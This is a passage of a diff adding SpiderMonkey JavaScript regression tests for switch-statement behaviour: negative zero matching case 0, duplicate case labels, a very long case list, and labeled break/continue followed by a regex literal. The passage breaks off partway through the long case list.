+//-----------------------------------------------------------------------------
+var BUGNUMBER = 444979;
+var summary = 'switch -0 is same as switch 0';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'y==0';
+ actual = '';
+
+ var shortSwitch = 'var y=-0;switch (y){case 0: actual="y==0"; break; default: actual="y!=0";}';
+ eval(shortSwitch);
+
+ reportCompare(expect, actual, summary + ': shortSwitch');
+
+ actual = '';
+
+ var longSwitch = 'var y=-0;var t=0;switch(y){case -1:';
+ for (var i = 0; i < 64000; i++) {
+ longSwitch += ' t++;';
+ }
+ longSwitch += ' break; case 0: actual = "y==0"; break; default: actual = "y!=0";}';
+ eval(longSwitch);
+
+ reportCompare(expect, actual, summary + ': longSwitch');
+}
diff --git a/js/src/tests/non262/statements/regress-642975.js b/js/src/tests/non262/statements/regress-642975.js
new file mode 100644
index 0000000000..f6180e7e8f
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-642975.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var x = 0;
+var y = 1;
+var g = 1;
+
+var expect = "y";
+var actual;
+
+try {
+ eval("y: while (x) break\n/y/g.exec('y')");
+ actual = RegExp.lastMatch;
+} catch (e) {
+ actual = '' + e;
+}
+assertEq(actual, expect);
+
+try {
+ eval("y: while (x) continue\n/y/g.exec('y')");
+ actual = RegExp.lastMatch;
+} catch (e) {
+ actual = '' + e;
+}
+assertEq(actual, expect);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/statements/regress-74474-001.js b/js/src/tests/non262/statements/regress-74474-001.js
new file mode 100644
index 0000000000..8f722477e5
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-74474-001.js
@@ -0,0 +1,102 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 74474
+ *"switch() misbehaves with duplicated labels"
+ *
+ * See ECMA3 Section 12.11, "The switch Statement"
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=74474
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 74474;
+var summary = 'Testing switch statements with duplicate labels';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+
+
+status = 'Section A of test: the string literal "1" as a duplicate label';
+actual = '';
+switch ('1')
+{
+case '1':
+ actual += 'a';
+case '1':
+ actual += 'b';
+}
+expect = 'ab';
+addThis();
+
+
+status = 'Section B of test: the numeric literal 1 as a duplicate label';
+actual = '';
+switch (1)
+{
+case 1:
+ actual += 'a';
+case 1:
+ actual += 'b';
+}
+expect = 'ab';
+addThis();
+
+
+status = 'Section C of test: the numeric literal 1 as a duplicate label, via a function parameter';
+tryThis(1);
+function tryThis(x)
+{
+ actual = '';
+
+ switch (x)
+ {
+ case x:
+ actual += 'a';
+ case x:
+ actual += 'b';
+ }
+}
+expect = 'ab';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statusitems[i];
+}
diff --git a/js/src/tests/non262/statements/regress-74474-002.js b/js/src/tests/non262/statements/regress-74474-002.js
new file mode 100644
index 0000000000..8d30de24f5
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-74474-002.js
@@ -0,0 +1,9060 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 09 May 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 74474
+ * "switch() misbehaves with duplicated labels"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=74474
+ * See ECMA3 Section 12.11, "The switch Statement"
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 74474;
+var summary = 'Test of switch statement that overflows the stack-allocated bitmap';
+var status = '(No duplicated labels)';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var x = 3;
+
+
+switch (x)
+{
+case 0:
+case 1:
+case 2:
+case 3:
+case 4:
+case 5:
+case 6:
+case 7:
+case 8:
+case 9:
+case 10:
+case 11:
+case 12:
+case 13:
+case 14:
+case 15:
+case 16:
+case 17:
+case 18:
+case 19:
+case 20:
+case 21:
+case 22:
+case 23:
+case 24:
+case 25:
+case 26:
+case 27:
+case 28:
+case 29:
+case 30:
+case 31:
+case 32:
+case 33:
+case 34:
+case 35:
+case 36:
+case 37:
+case 38:
+case 39:
+case 40:
+case 41:
+case 42:
+case 43:
+case 44:
+case 45:
+case 46:
+case 47:
+case 48:
+case 49:
+case 50:
+case 51:
+case 52:
+case 53:
+case 54:
+case 55:
+case 56:
+case 57:
+case 58:
+case 59:
+case 60:
+case 61:
+case 62:
+case 63:
+case 64:
+case 65:
+case 66:
+case 67:
+case 68:
+case 69:
+case 70:
+case 71:
+case 72:
+case 73:
+case 74:
+case 75:
+case 76:
+case 77:
+case 78:
+case 79:
+case 80:
+case 81:
+case 82:
+case 83:
+case 84:
+case 85:
+case 86:
+case 87:
+case 88:
+case 89:
+case 90:
+case 91:
+case 92:
+case 93:
+case 94:
+case 95:
+case 96:
+case 97:
+case 98:
+case 99:
+case 100:
+case 101:
+case 102:
+case 103:
+case 104:
+case 105:
+case 106:
+case 107:
+case 108:
+case 109:
+case 110:
+case 111:
+case 112:
+case 113:
+case 114:
+case 115:
+case 116:
+case 117:
+case 118:
+case 119:
+case 120:
+case 121:
+case 122:
+case 123:
+case 124:
+case 125:
+case 126:
+case 127:
+case 128:
+case 129:
+case 130:
+case 131:
+case 132:
+case 133:
+case 134:
+case 135:
+case 136:
+case 137:
+case 138:
+case 139:
+case 140:
+case 141:
+case 142:
+case 143:
+case 144:
+case 145:
+case 146:
+case 147:
+case 148:
+case 149:
+case 150:
+case 151:
+case 152:
+case 153:
+case 154:
+case 155:
+case 156:
+case 157:
+case 158:
+case 159:
+case 160:
+case 161:
+case 162:
+case 163:
+case 164:
+case 165:
+case 166:
+case 167:
+case 168:
+case 169:
+case 170:
+case 171:
+case 172:
+case 173:
+case 174:
+case 175:
+case 176:
+case 177:
+case 178:
+case 179:
+case 180:
+case 181:
+case 182:
+case 183:
+case 184:
+case 185:
+case 186:
+case 187:
+case 188:
+case 189:
+case 190:
+case 191:
+case 192:
+case 193:
+case 194:
+case 195:
+case 196:
+case 197:
+case 198:
+case 199:
+case 200:
+case 201:
+case 202:
+case 203:
+case 204:
+case 205:
+case 206:
+case 207:
+case 208:
+case 209:
+case 210:
+case 211:
+case 212:
+case 213:
+case 214:
+case 215:
+case 216:
+case 217:
+case 218:
+case 219:
+case 220:
+case 221:
+case 222:
+case 223:
+case 224:
+case 225:
+case 226:
+case 227:
+case 228:
+case 229:
+case 230:
+case 231:
+case 232:
+case 233:
+case 234:
+case 235:
+case 236:
+case 237:
+case 238:
+case 239:
+case 240:
+case 241:
+case 242:
+case 243:
+case 244:
+case 245:
+case 246:
+case 247:
+case 248:
+case 249:
+case 250:
+case 251:
+case 252:
+case 253:
+case 254:
+case 255:
+case 256:
+case 257:
+case 258:
+case 259:
+case 260:
+case 261:
+case 262:
+case 263:
+case 264:
+case 265:
+case 266:
+case 267:
+case 268:
+case 269:
+case 270:
+case 271:
+case 272:
+case 273:
+case 274:
+case 275:
+case 276:
+case 277:
+case 278:
+case 279:
+case 280:
+case 281:
+case 282:
+case 283:
+case 284:
+case 285:
+case 286:
+case 287:
+case 288:
+case 289:
+case 290:
+case 291:
+case 292:
+case 293:
+case 294:
+case 295:
+case 296:
+case 297:
+case 298:
+case 299:
+case 300:
+case 301:
+case 302:
+case 303:
+case 304:
+case 305:
+case 306:
+case 307:
+case 308:
+case 309:
+case 310:
+case 311:
+case 312:
+case 313:
+case 314:
+case 315:
+case 316:
+case 317:
+case 318:
+case 319:
+case 320:
+case 321:
+case 322:
+case 323:
+case 324:
+case 325:
+case 326:
+case 327:
+case 328:
+case 329:
+case 330:
+case 331:
+case 332:
+case 333:
+case 334:
+case 335:
+case 336:
+case 337:
+case 338:
+case 339:
+case 340:
+case 341:
+case 342:
+case 343:
+case 344:
+case 345:
+case 346:
+case 347:
+case 348:
+case 349:
+case 350:
+case 351:
+case 352:
+case 353:
+case 354:
+case 355:
+case 356:
+case 357:
+case 358:
+case 359:
+case 360:
+case 361:
+case 362:
+case 363:
+case 364:
+case 365:
+case 366:
+case 367:
+case 368:
+case 369:
+case 370:
+case 371:
+case 372:
+case 373:
+case 374:
+case 375:
+case 376:
+case 377:
+case 378:
+case 379:
+case 380:
+case 381:
+case 382:
+case 383:
+case 384:
+case 385:
+case 386:
+case 387:
+case 388:
+case 389:
+case 390:
+case 391:
+case 392:
+case 393:
+case 394:
+case 395:
+case 396:
+case 397:
+case 398:
+case 399:
+case 400:
+case 401:
+case 402:
+case 403:
+case 404:
+case 405:
+case 406:
+case 407:
+case 408:
+case 409:
+case 410:
+case 411:
+case 412:
+case 413:
+case 414:
+case 415:
+case 416:
+case 417:
+case 418:
+case 419:
+case 420:
+case 421:
+case 422:
+case 423:
+case 424:
+case 425:
+case 426:
+case 427:
+case 428:
+case 429:
+case 430:
+case 431:
+case 432:
+case 433:
+case 434:
+case 435:
+case 436:
+case 437:
+case 438:
+case 439:
+case 440:
+case 441:
+case 442:
+case 443:
+case 444:
+case 445:
+case 446:
+case 447:
+case 448:
+case 449:
+case 450:
+case 451:
+case 452:
+case 453:
+case 454:
+case 455:
+case 456:
+case 457:
+case 458:
+case 459:
+case 460:
+case 461:
+case 462:
+case 463:
+case 464:
+case 465:
+case 466:
+case 467:
+case 468:
+case 469:
+case 470:
+case 471:
+case 472:
+case 473:
+case 474:
+case 475:
+case 476:
+case 477:
+case 478:
+case 479:
+case 480:
+case 481:
+case 482:
+case 483:
+case 484:
+case 485:
+case 486:
+case 487:
+case 488:
+case 489:
+case 490:
+case 491:
+case 492:
+case 493:
+case 494:
+case 495:
+case 496:
+case 497:
+case 498:
+case 499:
+case 500:
+case 501:
+case 502:
+case 503:
+case 504:
+case 505:
+case 506:
+case 507:
+case 508:
+case 509:
+case 510:
+case 511:
+case 512:
+case 513:
+case 514:
+case 515:
+case 516:
+case 517:
+case 518:
+case 519:
+case 520:
+case 521:
+case 522:
+case 523:
+case 524:
+case 525:
+case 526:
+case 527:
+case 528:
+case 529:
+case 530:
+case 531:
+case 532:
+case 533:
+case 534:
+case 535:
+case 536:
+case 537:
+case 538:
+case 539:
+case 540:
+case 541:
+case 542:
+case 543:
+case 544:
+case 545:
+case 546:
+case 547:
+case 548:
+case 549:
+case 550:
+case 551:
+case 552:
+case 553:
+case 554:
+case 555:
+case 556:
+case 557:
+case 558:
+case 559:
+case 560:
+case 561:
+case 562:
+case 563:
+case 564:
+case 565:
+case 566:
+case 567:
+case 568:
+case 569:
+case 570:
+case 571:
+case 572:
+case 573:
+case 574:
+case 575:
+case 576:
+case 577:
+case 578:
+case 579:
+case 580:
+case 581:
+case 582:
+case 583:
+case 584:
+case 585:
+case 586:
+case 587:
+case 588:
+case 589:
+case 590:
+case 591:
+case 592:
+case 593:
+case 594:
+case 595:
+case 596:
+case 597:
+case 598:
+case 599:
+case 600:
+case 601:
+case 602:
+case 603:
+case 604:
+case 605:
+case 606:
+case 607:
+case 608:
+case 609:
+case 610:
+case 611:
+case 612:
+case 613:
+case 614:
+case 615:
+case 616:
+case 617:
+case 618:
+case 619:
+case 620:
+case 621:
+case 622:
+case 623:
+case 624:
+case 625:
+case 626:
+case 627:
+case 628:
+case 629:
+case 630:
+case 631:
+case 632:
+case 633:
+case 634:
+case 635:
+case 636:
+case 637:
+case 638:
+case 639:
+case 640:
+case 641:
+case 642:
+case 643:
+case 644:
+case 645:
+case 646:
+case 647:
+case 648:
+case 649:
+case 650:
+case 651:
+case 652:
+case 653:
+case 654:
+case 655:
+case 656:
+case 657:
+case 658:
+case 659:
+case 660:
+case 661:
+case 662:
+case 663:
+case 664:
+case 665:
+case 666:
+case 667:
+case 668:
+case 669:
+case 670:
+case 671:
+case 672:
+case 673:
+case 674:
+case 675:
+case 676:
+case 677:
+case 678:
+case 679:
+case 680:
+case 681:
+case 682:
+case 683:
+case 684:
+case 685:
+case 686:
+case 687:
+case 688:
+case 689:
+case 690:
+case 691:
+case 692:
+case 693:
+case 694:
+case 695:
+case 696:
+case 697:
+case 698:
+case 699:
+case 700:
+case 701:
+case 702:
+case 703:
+case 704:
+case 705:
+case 706:
+case 707:
+case 708:
+case 709:
+case 710:
+case 711:
+case 712:
+case 713:
+case 714:
+case 715:
+case 716:
+case 717:
+case 718:
+case 719:
+case 720:
+case 721:
+case 722:
+case 723:
+case 724:
+case 725:
+case 726:
+case 727:
+case 728:
+case 729:
+case 730:
+case 731:
+case 732:
+case 733:
+case 734:
+case 735:
+case 736:
+case 737:
+case 738:
+case 739:
+case 740:
+case 741:
+case 742:
+case 743:
+case 744:
+case 745:
+case 746:
+case 747:
+case 748:
+case 749:
+case 750:
+case 751:
+case 752:
+case 753:
+case 754:
+case 755:
+case 756:
+case 757:
+case 758:
+case 759:
+case 760:
+case 761:
+case 762:
+case 763:
+case 764:
+case 765:
+case 766:
+case 767:
+case 768:
+case 769:
+case 770:
+case 771:
+case 772:
+case 773:
+case 774:
+case 775:
+case 776:
+case 777:
+case 778:
+case 779:
+case 780:
+case 781:
+case 782:
+case 783:
+case 784:
+case 785:
+case 786:
+case 787:
+case 788:
+case 789:
+case 790:
+case 791:
+case 792:
+case 793:
+case 794:
+case 795:
+case 796:
+case 797:
+case 798:
+case 799:
+case 800:
+case 801:
+case 802:
+case 803:
+case 804:
+case 805:
+case 806:
+case 807:
+case 808:
+case 809:
+case 810:
+case 811:
+case 812:
+case 813:
+case 814:
+case 815:
+case 816:
+case 817:
+case 818:
+case 819:
+case 820:
+case 821:
+case 822:
+case 823:
+case 824:
+case 825:
+case 826:
+case 827:
+case 828:
+case 829:
+case 830:
+case 831:
+case 832:
+case 833:
+case 834:
+case 835:
+case 836:
+case 837:
+case 838:
+case 839:
+case 840:
+case 841:
+case 842:
+case 843:
+case 844:
+case 845:
+case 846:
+case 847:
+case 848:
+case 849:
+case 850:
+case 851:
+case 852:
+case 853:
+case 854:
+case 855:
+case 856:
+case 857:
+case 858:
+case 859:
+case 860:
+case 861:
+case 862:
+case 863:
+case 864:
+case 865:
+case 866:
+case 867:
+case 868:
+case 869:
+case 870:
+case 871:
+case 872:
+case 873:
+case 874:
+case 875:
+case 876:
+case 877:
+case 878:
+case 879:
+case 880:
+case 881:
+case 882:
+case 883:
+case 884:
+case 885:
+case 886:
+case 887:
+case 888:
+case 889:
+case 890:
+case 891:
+case 892:
+case 893:
+case 894:
+case 895:
+case 896:
+case 897:
+case 898:
+case 899:
+case 900:
+case 901:
+case 902:
+case 903:
+case 904:
+case 905:
+case 906:
+case 907:
+case 908:
+case 909:
+case 910:
+case 911:
+case 912:
+case 913:
+case 914:
+case 915:
+case 916:
+case 917:
+case 918:
+case 919:
+case 920:
+case 921:
+case 922:
+case 923:
+case 924:
+case 925:
+case 926:
+case 927:
+case 928:
+case 929:
+case 930:
+case 931:
+case 932:
+case 933:
+case 934:
+case 935:
+case 936:
+case 937:
+case 938:
+case 939:
+case 940:
+case 941:
+case 942:
+case 943:
+case 944:
+case 945:
+case 946:
+case 947:
+case 948:
+case 949:
+case 950:
+case 951:
+case 952:
+case 953:
+case 954:
+case 955:
+case 956:
+case 957:
+case 958:
+case 959:
+case 960:
+case 961:
+case 962:
+case 963:
+case 964:
+case 965:
+case 966:
+case 967:
+case 968:
+case 969:
+case 970:
+case 971:
+case 972:
+case 973:
+case 974:
+case 975:
+case 976:
+case 977:
+case 978:
+case 979:
+case 980:
+case 981:
+case 982:
+case 983:
+case 984:
+case 985:
+case 986:
+case 987:
+case 988:
+case 989:
+case 990:
+case 991:
+case 992:
+case 993:
+case 994:
+case 995:
+case 996:
+case 997:
+case 998:
+case 999:
+case 1000:
+case 1001:
+case 1002:
+case 1003:
+case 1004:
+case 1005:
+case 1006:
+case 1007:
+case 1008:
+case 1009:
+case 1010:
+case 1011:
+case 1012:
+case 1013:
+case 1014:
+case 1015:
+case 1016:
+case 1017:
+case 1018:
+case 1019:
+case 1020:
+case 1021:
+case 1022:
+case 1023:
+case 1024:
+case 1025:
+case 1026:
+case 1027:
+case 1028:
+case 1029:
+case 1030:
+case 1031:
+case 1032:
+case 1033:
+case 1034:
+case 1035:
+case 1036:
+case 1037:
+case 1038:
+case 1039:
+case 1040:
+case 1041:
+case 1042:
+case 1043:
+case 1044:
+case 1045:
+case 1046:
+case 1047:
+case 1048:
+case 1049:
+case 1050:
+case 1051:
+case 1052:
+case 1053:
+case 1054:
+case 1055:
+case 1056:
+case 1057:
+case 1058:
+case 1059:
+case 1060:
+case 1061:
+case 1062:
+case 1063:
+case 1064:
+case 1065:
+case 1066:
+case 1067:
+case 1068:
+case 1069:
+case 1070:
+case 1071:
+case 1072:
+case 1073:
+case 1074:
+case 1075:
+case 1076:
+case 1077:
+case 1078:
+case 1079:
+case 1080:
+case 1081:
+case 1082:
+case 1083:
+case 1084:
+case 1085:
+case 1086:
+case 1087:
+case 1088:
+case 1089:
+case 1090:
+case 1091:
+case 1092:
+case 1093:
+case 1094:
+case 1095:
+case 1096:
+case 1097:
+case 1098:
+case 1099:
+case 1100:
+case 1101:
+case 1102:
+case 1103:
+case 1104:
+case 1105:
+case 1106:
+case 1107:
+case 1108:
+case 1109:
+case 1110:
+case 1111:
+case 1112:
+case 1113:
+case 1114:
+case 1115:
+case 1116:
+case 1117:
+case 1118:
+case 1119:
+case 1120:
+case 1121:
+case 1122:
+case 1123:
+case 1124:
+case 1125:
+case 1126:
+case 1127:
+case 1128:
+case 1129:
+case 1130:
+case 1131:
+case 1132:
+case 1133:
+case 1134:
+case 1135:
+case 1136:
+case 1137:
+case 1138:
+case 1139:
+case 1140:
+case 1141:
+case 1142:
+case 1143:
+case 1144:
+case 1145:
+case 1146:
+case 1147:
+case 1148:
+case 1149:
+case 1150:
+case 1151:
+case 1152:
+case 1153:
+case 1154:
+case 1155:
+case 1156:
+case 1157:
+case 1158:
+case 1159:
+case 1160:
+case 1161:
+case 1162:
+case 1163:
+case 1164:
+case 1165:
+case 1166:
+case 1167:
+case 1168:
+case 1169:
+case 1170:
+case 1171:
+case 1172:
+case 1173:
+case 1174:
+case 1175:
+case 1176:
+case 1177:
+case 1178:
+case 1179:
+case 1180:
+case 1181:
+case 1182:
+case 1183:
+case 1184:
+case 1185:
+case 1186:
+case 1187:
+case 1188:
+case 1189:
+case 1190:
+case 1191:
+case 1192:
+case 1193:
+case 1194:
+case 1195:
+case 1196:
+case 1197:
+case 1198:
+case 1199:
+case 1200:
+case 1201:
+case 1202:
+case 1203:
+case 1204:
+case 1205:
+case 1206:
+case 1207:
+case 1208:
+case 1209:
+case 1210:
+case 1211:
+case 1212:
+case 1213:
+case 1214:
+case 1215:
+case 1216:
+case 1217:
+case 1218:
+case 1219:
+case 1220:
+case 1221:
+case 1222:
+case 1223:
+case 1224:
+case 1225:
+case 1226:
+case 1227:
+case 1228:
+case 1229:
+case 1230:
+case 1231:
+case 1232:
+case 1233:
+case 1234:
+case 1235:
+case 1236:
+case 1237:
+case 1238:
+case 1239:
+case 1240:
+case 1241:
+case 1242:
+case 1243:
+case 1244:
+case 1245:
+case 1246:
+case 1247:
+case 1248:
+case 1249:
+case 1250:
+case 1251:
+case 1252:
+case 1253:
+case 1254:
+case 1255:
+case 1256:
+case 1257:
+case 1258:
+case 1259:
+case 1260:
+case 1261:
+case 1262:
+case 1263:
+case 1264:
+case 1265:
+case 1266:
+case 1267:
+case 1268:
+case 1269:
+case 1270:
+case 1271:
+case 1272:
+case 1273:
+case 1274:
+case 1275:
+case 1276:
+case 1277:
+case 1278:
+case 1279:
+case 1280:
+case 1281:
+case 1282:
+case 1283:
+case 1284:
+case 1285:
+case 1286:
+case 1287:
+case 1288:
+case 1289:
+case 1290:
+case 1291:
+case 1292:
+case 1293:
+case 1294:
+case 1295:
+case 1296:
+case 1297:
+case 1298:
+case 1299:
+case 1300:
+case 1301:
+case 1302:
+case 1303:
+case 1304:
+case 1305:
+case 1306:
+case 1307:
+case 1308:
+case 1309:
+case 1310:
+case 1311:
+case 1312:
+case 1313:
+case 1314:
+case 1315:
+case 1316:
+case 1317:
+case 1318:
+case 1319:
+case 1320:
+case 1321:
+case 1322:
+case 1323:
+case 1324:
+case 1325:
+case 1326:
+case 1327:
+case 1328:
+case 1329:
+case 1330:
+case 1331:
+case 1332:
+case 1333:
+case 1334:
+case 1335:
+case 1336:
+case 1337:
+case 1338:
+case 1339:
+case 1340:
+case 1341:
+case 1342:
+case 1343:
+case 1344:
+case 1345:
+case 1346:
+case 1347:
+case 1348:
+case 1349:
+case 1350:
+case 1351:
+case 1352:
+case 1353:
+case 1354:
+case 1355:
+case 1356:
+case 1357:
+case 1358:
+case 1359:
+case 1360:
+case 1361:
+case 1362:
+case 1363:
+case 1364:
+case 1365:
+case 1366:
+case 1367:
+case 1368:
+case 1369:
+case 1370:
+case 1371:
+case 1372:
+case 1373:
+case 1374:
+case 1375:
+case 1376:
+case 1377:
+case 1378:
+case 1379:
+case 1380:
+case 1381:
+case 1382:
+case 1383:
+case 1384:
+case 1385:
+case 1386:
+case 1387:
+case 1388:
+case 1389:
+case 1390:
+case 1391:
+case 1392:
+case 1393:
+case 1394:
+case 1395:
+case 1396:
+case 1397:
+case 1398:
+case 1399:
+case 1400:
+case 1401:
+case 1402:
+case 1403:
+case 1404:
+case 1405:
+case 1406:
+case 1407:
+case 1408:
+case 1409:
+case 1410:
+case 1411:
+case 1412:
+case 1413:
+case 1414:
+case 1415:
+case 1416:
+case 1417:
+case 1418:
+case 1419:
+case 1420:
+case 1421:
+case 1422:
+case 1423:
+case 1424:
+case 1425:
+case 1426:
+case 1427:
+case 1428:
+case 1429:
+case 1430:
+case 1431:
+case 1432:
+case 1433:
+case 1434:
+case 1435:
+case 1436:
+case 1437:
+case 1438:
+case 1439:
+case 1440:
+case 1441:
+case 1442:
+case 1443:
+case 1444:
+case 1445:
+case 1446:
+case 1447:
+case 1448:
+case 1449:
+case 1450:
+case 1451:
+case 1452:
+case 1453:
+case 1454:
+case 1455:
+case 1456:
+case 1457:
+case 1458:
+case 1459:
+case 1460:
+case 1461:
+case 1462:
+case 1463:
+case 1464:
+case 1465:
+case 1466:
+case 1467:
+case 1468:
+case 1469:
+case 1470:
+case 1471:
+case 1472:
+case 1473:
+case 1474:
+case 1475:
+case 1476:
+case 1477:
+case 1478:
+case 1479:
+case 1480:
+case 1481:
+case 1482:
+case 1483:
+case 1484:
+case 1485:
+case 1486:
+case 1487:
+case 1488:
+case 1489:
+case 1490:
+case 1491:
+case 1492:
+case 1493:
+case 1494:
+case 1495:
+case 1496:
+case 1497:
+case 1498:
+case 1499:
+case 1500:
+case 1501:
+case 1502:
+case 1503:
+case 1504:
+case 1505:
+case 1506:
+case 1507:
+case 1508:
+case 1509:
+case 1510:
+case 1511:
+case 1512:
+case 1513:
+case 1514:
+case 1515:
+case 1516:
+case 1517:
+case 1518:
+case 1519:
+case 1520:
+case 1521:
+case 1522:
+case 1523:
+case 1524:
+case 1525:
+case 1526:
+case 1527:
+case 1528:
+case 1529:
+case 1530:
+case 1531:
+case 1532:
+case 1533:
+case 1534:
+case 1535:
+case 1536:
+case 1537:
+case 1538:
+case 1539:
+case 1540:
+case 1541:
+case 1542:
+case 1543:
+case 1544:
+case 1545:
+case 1546:
+case 1547:
+case 1548:
+case 1549:
+case 1550:
+case 1551:
+case 1552:
+case 1553:
+case 1554:
+case 1555:
+case 1556:
+case 1557:
+case 1558:
+case 1559:
+case 1560:
+case 1561:
+case 1562:
+case 1563:
+case 1564:
+case 1565:
+case 1566:
+case 1567:
+case 1568:
+case 1569:
+case 1570:
+case 1571:
+case 1572:
+case 1573:
+case 1574:
+case 1575:
+case 1576:
+case 1577:
+case 1578:
+case 1579:
+case 1580:
+case 1581:
+case 1582:
+case 1583:
+case 1584:
+case 1585:
+case 1586:
+case 1587:
+case 1588:
+case 1589:
+case 1590:
+case 1591:
+case 1592:
+case 1593:
+case 1594:
+case 1595:
+case 1596:
+case 1597:
+case 1598:
+case 1599:
+case 1600:
+case 1601:
+case 1602:
+case 1603:
+case 1604:
+case 1605:
+case 1606:
+case 1607:
+case 1608:
+case 1609:
+case 1610:
+case 1611:
+case 1612:
+case 1613:
+case 1614:
+case 1615:
+case 1616:
+case 1617:
+case 1618:
+case 1619:
+case 1620:
+case 1621:
+case 1622:
+case 1623:
+case 1624:
+case 1625:
+case 1626:
+case 1627:
+case 1628:
+case 1629:
+case 1630:
+case 1631:
+case 1632:
+case 1633:
+case 1634:
+case 1635:
+case 1636:
+case 1637:
+case 1638:
+case 1639:
+case 1640:
+case 1641:
+case 1642:
+case 1643:
+case 1644:
+case 1645:
+case 1646:
+case 1647:
+case 1648:
+case 1649:
+case 1650:
+case 1651:
+case 1652:
+case 1653:
+case 1654:
+case 1655:
+case 1656:
+case 1657:
+case 1658:
+case 1659:
+case 1660:
+case 1661:
+case 1662:
+case 1663:
+case 1664:
+case 1665:
+case 1666:
+case 1667:
+case 1668:
+case 1669:
+case 1670:
+case 1671:
+case 1672:
+case 1673:
+case 1674:
+case 1675:
+case 1676:
+case 1677:
+case 1678:
+case 1679:
+case 1680:
+case 1681:
+case 1682:
+case 1683:
+case 1684:
+case 1685:
+case 1686:
+case 1687:
+case 1688:
+case 1689:
+case 1690:
+case 1691:
+case 1692:
+case 1693:
+case 1694:
+case 1695:
+case 1696:
+case 1697:
+case 1698:
+case 1699:
+case 1700:
+case 1701:
+case 1702:
+case 1703:
+case 1704:
+case 1705:
+case 1706:
+case 1707:
+case 1708:
+case 1709:
+case 1710:
+case 1711:
+case 1712:
+case 1713:
+case 1714:
+case 1715:
+case 1716:
+case 1717:
+case 1718:
+case 1719:
+case 1720:
+case 1721:
+case 1722:
+case 1723:
+case 1724:
+case 1725:
+case 1726:
+case 1727:
+case 1728:
+case 1729:
+case 1730:
+case 1731:
+case 1732:
+case 1733:
+case 1734:
+case 1735:
+case 1736:
+case 1737:
+case 1738:
+case 1739:
+case 1740:
+case 1741:
+case 1742:
+case 1743:
+case 1744:
+case 1745:
+case 1746:
+case 1747:
+case 1748:
+case 1749:
+case 1750:
+case 1751:
+case 1752:
+case 1753:
+case 1754:
+case 1755:
+case 1756:
+case 1757:
+case 1758:
+case 1759:
+case 1760:
+case 1761:
+case 1762:
+case 1763:
+case 1764:
+case 1765:
+case 1766:
+case 1767:
+case 1768:
+case 1769:
+case 1770:
+case 1771:
+case 1772:
+case 1773:
+case 1774:
+case 1775:
+case 1776:
+case 1777:
+case 1778:
+case 1779:
+case 1780:
+case 1781:
+case 1782:
+case 1783:
+case 1784:
+case 1785:
+case 1786:
+case 1787:
+case 1788:
+case 1789:
+case 1790:
+case 1791:
+case 1792:
+case 1793:
+case 1794:
+case 1795:
+case 1796:
+case 1797:
+case 1798:
+case 1799:
+case 1800:
+case 1801:
+case 1802:
+case 1803:
+case 1804:
+case 1805:
+case 1806:
+case 1807:
+case 1808:
+case 1809:
+case 1810:
+case 1811:
+case 1812:
+case 1813:
+case 1814:
+case 1815:
+case 1816:
+case 1817:
+case 1818:
+case 1819:
+case 1820:
+case 1821:
+case 1822:
+case 1823:
+case 1824:
+case 1825:
+case 1826:
+case 1827:
+case 1828:
+case 1829:
+case 1830:
+case 1831:
+case 1832:
+case 1833:
+case 1834:
+case 1835:
+case 1836:
+case 1837:
+case 1838:
+case 1839:
+case 1840:
+case 1841:
+case 1842:
+case 1843:
+case 1844:
+case 1845:
+case 1846:
+case 1847:
+case 1848:
+case 1849:
+case 1850:
+case 1851:
+case 1852:
+case 1853:
+case 1854:
+case 1855:
+case 1856:
+case 1857:
+case 1858:
+case 1859:
+case 1860:
+case 1861:
+case 1862:
+case 1863:
+case 1864:
+case 1865:
+case 1866:
+case 1867:
+case 1868:
+case 1869:
+case 1870:
+case 1871:
+case 1872:
+case 1873:
+case 1874:
+case 1875:
+case 1876:
+case 1877:
+case 1878:
+case 1879:
+case 1880:
+case 1881:
+case 1882:
+case 1883:
+case 1884:
+case 1885:
+case 1886:
+case 1887:
+case 1888:
+case 1889:
+case 1890:
+case 1891:
+case 1892:
+case 1893:
+case 1894:
+case 1895:
+case 1896:
+case 1897:
+case 1898:
+case 1899:
+case 1900:
+case 1901:
+case 1902:
+case 1903:
+case 1904:
+case 1905:
+case 1906:
+case 1907:
+case 1908:
+case 1909:
+case 1910:
+case 1911:
+case 1912:
+case 1913:
+case 1914:
+case 1915:
+case 1916:
+case 1917:
+case 1918:
+case 1919:
